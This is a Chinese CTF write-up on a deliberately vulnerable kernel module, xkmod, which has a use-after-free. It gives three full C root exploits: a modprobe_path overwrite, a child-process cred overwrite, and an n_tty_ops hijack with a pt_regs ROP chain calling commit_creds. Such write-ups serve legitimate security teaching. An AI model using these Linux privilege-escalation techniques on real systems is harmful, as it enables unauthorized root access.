变年更博主了(悲)。
题目分析 #
用户态传入16字节数据,定义个结构体方便看。
struct xkData
{
size_t *user_buf;
unsigned int offset;
unsigned int length;
};
主要看 xkmod_ioctl
:
__int64 __fastcall xkmod_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
xkData data; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+10h] [rbp-10h]
v5 = __readgsqword(0x28u);
if ( !arg )
return 0LL;
copy_from_user(&data, arg, 16LL);
if ( cmd == 0x6666666 )
{
if ( buf && data.length <= 0x50 && data.offset <= 0x70 )
{
copy_from_user((char *)buf + (int)data.offset, data.user_buf, (int)data.length);
return 0LL;
}
}
else
{
if ( cmd != 0x7777777 )
{
if ( cmd == 0x1111111 )
buf = (void *)kmem_cache_alloc(s, 3264LL);
return 0LL;
}
if ( buf && data.length <= 0x50 && data.offset <= 0x70 )
{
copy_to_user(data.user_buf, (char *)buf + (int)data.offset);
return 0LL;
}
}
return xkmod_ioctl_cold();
}
是堆题经典的菜单,有 alloc, edit, read。
漏洞在xkmod_release
。
int __fastcall xkmod_release(inode *inode, file *file)
{
return kmem_cache_free(s, buf);
}
关闭设备文件时没有清理s
,留下了悬垂指针,造成 UAF。
前置知识 #
这题的核心其实就是劫持 freelist,和用户态很像。只不过开了RANDOM_FREELIST , 两次分配的空间不一定连续,对这题没什么影响 :-)。
调试 #
91 0 0:00 {rcS} /bin/sh /etc/init.d/rcS
setsid cttyhack setuidgid 1000 sh
1000改成0拿 root shell 看 kallsyms
,方便内核模块调试。
利用 #
解法1 modprobe_path #
UAF 泄露堆地址,劫持 freelist 泄露 kernel 基地址。
可以通过 vmlinux-to-elf 将 vmlinux 转化为 ida 可分析 elf,然后搜索/sbin/modprobe
计算modprobe_path
的偏移量。
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#define MODPROBE_PATH_OFFSET 0x1444700
#define MAGIC_PATH "/home/pwned"
struct xkData
{
size_t *user_buf;
unsigned int offset;
unsigned int length;
};
/* bind the process to specific core */
void bindCore(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("[*] Process binded to core %d\n", core);
}
void xkAlloc(int dev_fd, struct xkData *data)
{
ioctl(dev_fd, 0x1111111, data);
}
void xkEdit(int dev_fd, struct xkData *data)
{
ioctl(dev_fd, 0x6666666, data);
}
void xkRead(int dev_fd, struct xkData *data)
{
ioctl(dev_fd, 0x7777777, data);
}
int main(int argc, char **argv, char **envp)
{
int dev_fd[8], root_script_fd;
size_t heap_leak, kernel_heap_base, secondary_startup_64_chunk, kernel_leak, kernel_base;
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";
char flag[0x100];
int flag_fd;
// bind the process to core 0
bindCore(0);
// create fake modprobe_path file
root_script_fd = open(MAGIC_PATH, O_RDWR | O_CREAT);
write(root_script_fd, root_cmd, sizeof(root_cmd));
close(root_script_fd);
system("chmod +x " MAGIC_PATH);
// kmalloc-192
for (int i = 0; i < 8; i++) {
dev_fd[i] = open("/dev/xkmod", O_RDONLY);
}
// UAF
struct xkData data;
data.user_buf = malloc(0x1000);
data.offset = 0;
data.length = 0x50;
memset(data.user_buf, 0, 0x1000);
xkAlloc(dev_fd[0], &data);
xkEdit(dev_fd[0], &data);
close(dev_fd[0]);
// leak heap
xkRead(dev_fd[1], &data);
heap_leak = data.user_buf[0];
// printf("[+] Heap l3ak: %p\n", (void *)heap_leak);
// kernel heap base addr: page_offset_base
kernel_heap_base = heap_leak & 0xFFFFFFFFF0000000;
printf("[+] Kernel heap base: %p\n", (void *)kernel_heap_base);
secondary_startup_64_chunk = kernel_heap_base + 0x9d000 - 0x10;
printf("[+] Chunk for kernel base l3ak: %p\n", (void *)secondary_startup_64_chunk);
// allocate chunk for kernel base leak
memset(data.user_buf, 0, 0x1000);
data.user_buf[0] = secondary_startup_64_chunk;
data.offset = 0;
data.length = 0x8;
xkEdit(dev_fd[1], &data);
xkAlloc(dev_fd[1], &data);
xkAlloc(dev_fd[1], &data); // get the chunk
data.length = 0x20;
xkRead(dev_fd[1], &data);
kernel_leak = data.user_buf[2];
// printf("[+] Kernel l3ak: %p\n", (void *)kernel_leak);
kernel_base = kernel_leak - 0x30;
printf("[+] Kernel base: %p\n", (void *)kernel_base);
// hijack modprobe_path
puts("[*] hijacking modprobe_path...");
xkAlloc(dev_fd[1], &data);
close(dev_fd[1]); // won't free the double free chunk, create a new UAF
data.user_buf[0] = kernel_base + MODPROBE_PATH_OFFSET - 0x10;
data.offset = 0;
data.length = 0x8;
xkEdit(dev_fd[2], &data);
xkAlloc(dev_fd[2], &data);
xkAlloc(dev_fd[2], &data); // get the chunk
strcpy((char *) &data.user_buf[2], MAGIC_PATH);
data.length = 0x30;
xkEdit(dev_fd[2], &data);
// trigger the exploit
puts("[*] trigerring fake modprobe_path...");
system("echo -e '\\xff\\xff\\xff\\xff' > /home/trigger");
system("chmod +x /home/trigger");
system("/home/trigger");
// read flag
memset(flag, 0, sizeof(flag));
flag_fd = open("/flag", O_RDWR);
read(flag_fd, flag, sizeof(flag));
printf("[+] Flag: %s\n", flag);
return 0;
}
在 xkmod_ioctl
的 kmem_cache_alloc
处下个断点,利用UAF劫持freelist之后可以看到第一个 alloc 返回的是之前的 object,再下一个已经被写为目标地址 &secondary_startup_64 - 0x10
。通过该地址可以泄露内核基地址。
然后修改modprobe_path
,再用非法文件触发 chmod 脚本即可。
解法2 修改子进程的 cred #
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;
validate_process_creds();
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
...
从源码看,cred_jar
设置了 SLAB_ACCOUNT
,不应该和题目中的lalala
一起合并到kmalloc-192
。但是这题能利用这种方法啊……真相只有一个:
__int64 cred_init()
{
__int64 result; // rax
result = kmem_cache_create(aCredJar, 0xA8LL, 0LL, 0x42000LL, 0LL);
qword_FFFFFFFF82AFA220 = result;
return result;
}
反编译 vmlinux,标志位是0x42000。对应的标志应该是SLAB_HWCACHE_ALIGN和SLAB_PANIC,没有SLAB_ACCOUNT
。答案是这题的内核并非“原装”的 v5.4.38,可能特意改了 cred_init
的实现。
总之,在这题里 cred 结构体和内核模块的 slab 都合并到 kmalloc-192。因此可以 fork 一个子进程,利用内核模块的 UAF 修改子进程的 cred 完成提权。
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
} __randomize_layout;
网上大多说把 uid~fsgid 全置为0,实际上权限主要与 uid 和 euid 有关,这两个置为0就够了。当然只修改 uid 为0再在用户态设置 euid 也行。
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/wait.h>
struct xkData
{
size_t *user_buf;
unsigned int offset;
unsigned int length;
};
/* bind the process to specific core */
void bindCore(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("[*] Process binded to core %d\n", core);
}
void xkAlloc(int dev_fd, struct xkData *data)
{
ioctl(dev_fd, 0x1111111, data);
}
void xkEdit(int dev_fd, struct xkData *data)
{
ioctl(dev_fd, 0x6666666, data);
}
void xkRead(int dev_fd, struct xkData *data)
{
ioctl(dev_fd, 0x7777777, data);
}
int main(int argc, char **argv, char *envp)
{
int dev_fd[2];
size_t buf[0x100];
struct xkData data;
bindCore(0);
for (int i = 0; i < 2; i++)
dev_fd[i] = open("/dev/xkmod", O_RDONLY);
// no need to l3ak
data.user_buf = malloc(0x100);
data.offset = 0;
data.length = 0x50;
xkAlloc(dev_fd[0], &data);
close(dev_fd[0]);
int pid = fork();
if (!pid)
{
xkRead(dev_fd[1], &data);
if (((int*)(data.user_buf))[0] == 2) // usage
{
((int*)(data.user_buf))[1] = 0; // uid
((int*)(data.user_buf))[5] = 0; // euid
xkEdit(dev_fd[1], &data);
if (!getuid())
{
puts("[+] Root shell spawned!");
system("/bin/sh");
exit(0);
}
else
{
puts("[!] Failed to get root shell!");
exit(1);
}
}
else
{
puts("[x] Failed!");
exit(2);
}
}
wait(NULL);
}
解法3 劫持 n_tty_ops #
CONFIG_BINFMT_MISC=n
或CONFIG_STATIC_USERMODEHELPER=y
情况下,劫持modprobe_path
的方法失效(应该)。
假如,这道题是独立的 kmem_cache
的 UAF,且配置项使得modprobe_path
方法失效,如何呢?
可以劫持n_tty_ops
。
放一张陈年老图说明劫持该结构体的流程:
先看这个结构体的定义:
static struct tty_ldisc_ops n_tty_ops = {
.magic = TTY_LDISC_MAGIC,
.name = "n_tty",
.open = n_tty_open,
.close = n_tty_close,
.flush_buffer = n_tty_flush_buffer,
.read = n_tty_read,
.write = n_tty_write,
.ioctl = n_tty_ioctl,
.set_termios = n_tty_set_termios,
.poll = n_tty_poll,
.receive_buf = n_tty_receive_buf,
.write_wakeup = n_tty_write_wakeup,
.receive_buf2 = n_tty_receive_buf2,
};
struct tty_ldisc_ops {
int magic;
char *name;
int num;
int flags;
/*
* The following routines are called from above.
*/
int (*open)(struct tty_struct *);
void (*close)(struct tty_struct *);
void (*flush_buffer)(struct tty_struct *tty);
ssize_t (*read)(struct tty_struct *tty, struct file *file,
unsigned char __user *buf, size_t nr);
ssize_t (*write)(struct tty_struct *tty, struct file *file,
const unsigned char *buf, size_t nr);
int (*ioctl)(struct tty_struct *tty, struct file *file,
unsigned int cmd, unsigned long arg);
int (*compat_ioctl)(struct tty_struct *tty, struct file *file,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios *old);
__poll_t (*poll)(struct tty_struct *, struct file *,
struct poll_table_struct *);
int (*hangup)(struct tty_struct *tty);
/*
* The following routines are called from below.
*/
void (*receive_buf)(struct tty_struct *, const unsigned char *cp,
char *fp, int count);
void (*write_wakeup)(struct tty_struct *);
void (*dcd_change)(struct tty_struct *, unsigned int);
int (*receive_buf2)(struct tty_struct *, const unsigned char *cp,
char *fp, int count);
struct module *owner;
int refcount;
};
找一下 n_tty_ops:
__int64 n_tty_init()
{
return tty_register_ldisc(0LL, &unk_FFFFFFFF824B1160);
}
利用pt_regs
来构造 ROP。劫持 n_tty_ops.read
为 stack pivot gadget,syscall read 触发。pivot 到 pt_regs 执行我们构造的 ROP 链(不过“新”版本 kernel pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值)。利用swapgs_restore_regs_and_return_to_usermode
从内核态返回用户态提权,提权后要修复n_tty_ops
,不然拿到 root shell 也无法交互。
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sched.h>
#define N_TTY_OPS 0xffffffff824B1160
#define N_TTY_OPEN 0xffffffff81466710
#define N_TTY_CLOSE 0xffffffff81464dc0
#define N_TTY_FLUSH_BUFFER 0xffffffff814654b0
#define N_TTY_READ 0xffffffff81465a10
#define N_TTY_READ_ADDR 0xffffffff824b1190
#define PREPARE_KERNEL_CRED 0xffffffff8108a9a0
#define POP_RDI_RET 0xffffffff81001518
#define COMMIT_CREDS 0xffffffff8108a660
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00a2f
#define XCHG_RAX_RDI_RET 0xffffffff8148c492
#define ADD_RSP_0XC8_RET 0xffffffff811454aa
int dev_fd[8], root_script_fd, kernel_offset;
size_t heap_leak, kernel_heap_base, secondary_startup_64_chunk, kernel_leak, kernel_base;
size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode;
size_t pop_rdi_ret, xchg_rax_rdi_ret;
struct xkData
{
size_t *user_buf;
unsigned int offset;
unsigned int length;
}data;
/* bind the process to specific core */
void bindCore(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("[*] Process binded to core %d\n", core);
}
void xkAlloc(int dev_fd, struct xkData *data)
{
ioctl(dev_fd, 0x1111111, data);
}
void xkEdit(int dev_fd, struct xkData *data)
{
ioctl(dev_fd, 0x6666666, data);
}
void xkRead(int dev_fd, struct xkData *data)
{
ioctl(dev_fd, 0x7777777, data);
}
int main(int argc, char **argv, char *envp)
{
// bind the process to core 0
bindCore(0);
// kmalloc-192
for (int i = 0; i < 8; i++) {
dev_fd[i] = open("/dev/xkmod", O_RDONLY);
}
// UAF
data.user_buf = malloc(0x1000);
data.offset = 0;
data.length = 0x50;
memset(data.user_buf, 0, 0x1000);
xkAlloc(dev_fd[0], &data);
xkEdit(dev_fd[0], &data);
close(dev_fd[0]);
// leak heap
xkRead(dev_fd[1], &data);
heap_leak = data.user_buf[0];
// printf("[+] Heap l3ak: %p\n", (void *)heap_leak);
// kernel heap base addr: page_offset_base
kernel_heap_base = heap_leak & 0xFFFFFFFFF0000000;
printf("[+] Kernel heap base: %p\n", (void *)kernel_heap_base);
secondary_startup_64_chunk = kernel_heap_base + 0x9d000 - 0x10;
printf("[+] Chunk for kernel base l3ak: %p\n", (void *)secondary_startup_64_chunk);
// allocate chunk for kernel base leak
memset(data.user_buf, 0, 0x1000);
data.user_buf[0] = secondary_startup_64_chunk;
data.offset = 0;
data.length = 0x8;
xkEdit(dev_fd[1], &data);
xkAlloc(dev_fd[1], &data);
xkAlloc(dev_fd[1], &data); // get the chunk
data.length = 0x20;
xkRead(dev_fd[1], &data);
kernel_leak = data.user_buf[2];
// printf("[+] Kernel l3ak: %p\n", (void *)kernel_leak);
kernel_base = kernel_leak - 0x30;
printf("[+] Kernel base: %p\n", (void *)kernel_base);
kernel_offset = kernel_base - 0xFFFFFFFF81000000;
// hijack n_tty_ops
puts("[*] hijacking n_tty_ops...");
xkAlloc(dev_fd[1], &data);
close(dev_fd[1]); // won't free the double free chunk, create a new UAF
data.user_buf[0] = kernel_offset + N_TTY_READ_ADDR - 0x20; // next will be &n_tty_ops.num, next->next == 0
data.offset = 0;
data.length = 0x8;
xkEdit(dev_fd[2], &data);
xkAlloc(dev_fd[2], &data);
xkAlloc(dev_fd[2], &data); // get the chunk
data.user_buf[0] = 0;
data.user_buf[1] = kernel_offset + N_TTY_OPEN;
data.user_buf[2] = kernel_offset + N_TTY_CLOSE;
data.user_buf[3] = kernel_offset + N_TTY_FLUSH_BUFFER;
data.user_buf[4] = kernel_offset + ADD_RSP_0XC8_RET; // kernel_base + 0x1454aa
data.length = 0x28;
xkEdit(dev_fd[2], &data); // now n_tty_ops.read is add_rsp_0xc8_ret
// hijack rip
puts("[*] hijacking rip...");
pop_rdi_ret = POP_RDI_RET + kernel_offset;
prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
xchg_rax_rdi_ret = XCHG_RAX_RDI_RET + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset + 0xa; // pop r11; pop r10; ...
// add_rsp_0xc8_ret will pivot the stack to pt_regs
__asm__(
"mov r15, pop_rdi_ret;"
"xor r14, r14;"
"mov r13, prepare_kernel_cred;"
"mov r12, xchg_rax_rdi_ret;"
"mov rbp, commit_creds;"
"mov rbx, swapgs_restore_regs_and_return_to_usermode;"
//"mov r11, 0x66666666;"
//"mov r10, 0x77777777;"
//"mov r9, 0x88888888;"
//"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 0x8;"
"mov rsi, rsp;"
"xor rdi, rdi;"
"syscall"
);
/* the rop chain is:
pop_rdi_ret;
0;
prepare_kernel_cred;
xchg_rax_rdi_ret; // let the return value of prepare_kernel_cred be in rdi
commit_creds; commit_creds(ret of prepare_kernel_cred);
swapgs_restore_regs_and_return_to_usermode;
padding...
user_shell_addr
user_cs
user_rflags
user_sp
user_ss
*/
if (!getuid())
{
puts("[+] Now we are root!");
}
else
{
puts("Failed wtf?!");
exit(1);
}
// repair n_tty_ops
puts("[*] Repairing n_tty_ops...");
data.user_buf[4] = N_TTY_READ + kernel_offset;
xkEdit(dev_fd[2], &data);
puts("[+] Root shell spwaned!");
system("/bin/sh");
return 0;
}
最好全部用全局变量。笔者原先定义xkData
为局部变量,但是在data.user_buf[4] = N_TTY_READ + kernel_offset;
这一句 segmentation fault 了,暂时没有探究具体原理。在写exp时也是因为这个问题多花了几十分钟。